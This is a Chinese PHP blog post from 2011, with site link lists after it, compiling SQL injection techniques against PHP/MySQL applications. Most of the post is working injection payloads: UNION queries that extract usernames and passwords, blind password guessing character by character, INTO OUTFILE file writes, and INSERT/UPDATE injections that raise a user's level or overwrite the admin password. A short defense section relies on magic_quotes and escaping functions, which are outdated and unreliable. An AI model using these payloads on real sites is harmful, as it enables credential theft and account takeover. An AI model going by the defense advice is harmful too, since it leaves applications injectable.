PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
怎样在UNIX系统下安装php3
Oct 09 PHP
PHP4与PHP5的时间格式问题
Feb 17 PHP
PHP header()函数使用详细(301、404等错误设置)
Apr 17 PHP
深入PHP内存相关的功能特性详解
Jun 08 PHP
PHP防止注入攻击实例分析
Nov 03 PHP
基于递归实现的php树形菜单代码
Nov 19 PHP
PHP获取音频文件的相关信息
Jun 22 PHP
PHP设计模式之工厂模式实例总结
Sep 01 PHP
php如何利用pecl安装mongodb扩展详解
Jan 09 PHP
PHP中localeconv()函数的用法
Mar 26 PHP
PHP中常用的三种设计模式详解【单例模式、工厂模式、观察者模式】
Jun 14 PHP
PHP 对象接口简单实现方法示例
Apr 13 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
《神奇女侠:血脉》神力女超人大战犯罪公司
2020/04/09 欧美动漫
PHP封装CURL扩展类实例
2015/07/28 PHP
Thinkphp实现自动验证和自动完成
2015/12/19 PHP
Smarty模板常见的简单应用分析
2016/11/15 PHP
php mysql数据库操作类(实例讲解)
2017/08/06 PHP
jquery下json数组的操作实现代码
2010/08/09 Javascript
Js中获取frames中的元素示例代码
2013/07/30 Javascript
javascript特殊日历控件分享
2016/03/07 Javascript
jQuery调用Webservice传递json数组的方法
2016/08/06 Javascript
WEB 前端开发中防治重复提交的实现方法
2016/10/26 Javascript
通过网页查看JS源码中汉字显示乱码的解决方法
2016/10/26 Javascript
bootstrap日期控件问题(双日期、清空等问题解决)
2017/04/19 Javascript
Vue ElementUi同时校验多个表单(巧用new promise)
2018/06/06 Javascript
Vue 实现点击空白处隐藏某节点的三种方式(指令、普通、遮罩)
2019/10/23 Javascript
简述Vue中容易被忽视的知识点
2019/12/09 Javascript
vue项目接口域名动态获取操作
2020/08/13 Javascript
微信小程序实现简单购物车功能
2020/12/30 Javascript
原生JavaScript实现随机点名表
2021/01/14 Javascript
使用python编写批量卸载手机中安装的android应用脚本
2014/07/21 Python
python实现简单加密解密机制
2019/03/19 Python
15个应该掌握的Jupyter Notebook使用技巧(小结)
2020/09/23 Python
python模拟点击玩游戏的实例讲解
2020/11/26 Python
小米俄罗斯授权商店:Xiaomi俄罗斯
2019/12/08 全球购物
波兰在线运动商店:YesSport
2020/07/23 全球购物
俄罗斯卫浴采暖及维修用品超级市场:Dkrussia
2020/05/12 全球购物
程序集与命名空间有什么不同
2014/07/25 面试题
Java面试题:说出如下代码的执行结果
2015/10/30 面试题
五一家具促销方案
2014/01/10 职场文书
教师求职自荐信
2014/03/09 职场文书
生物制药专业求职信
2014/03/11 职场文书
工作汇报开头与结尾怎么写
2014/11/08 职场文书
《月歌。》宣布制作10周年纪念剧场版《RABBITS KINGDOM THE MOVIE》
2022/04/02 日漫
SpringCloud Function SpEL注入漏洞分析及环境搭建
2022/04/08 Java/Android
gtx1650怎么样 gtx1650显卡相当于什么级别
2022/04/08 数码科技
Golang 实现 WebSockets 之创建 WebSockets
2022/04/24 Golang
Springboot中如何自动转JSON输出
2022/06/16 Java/Android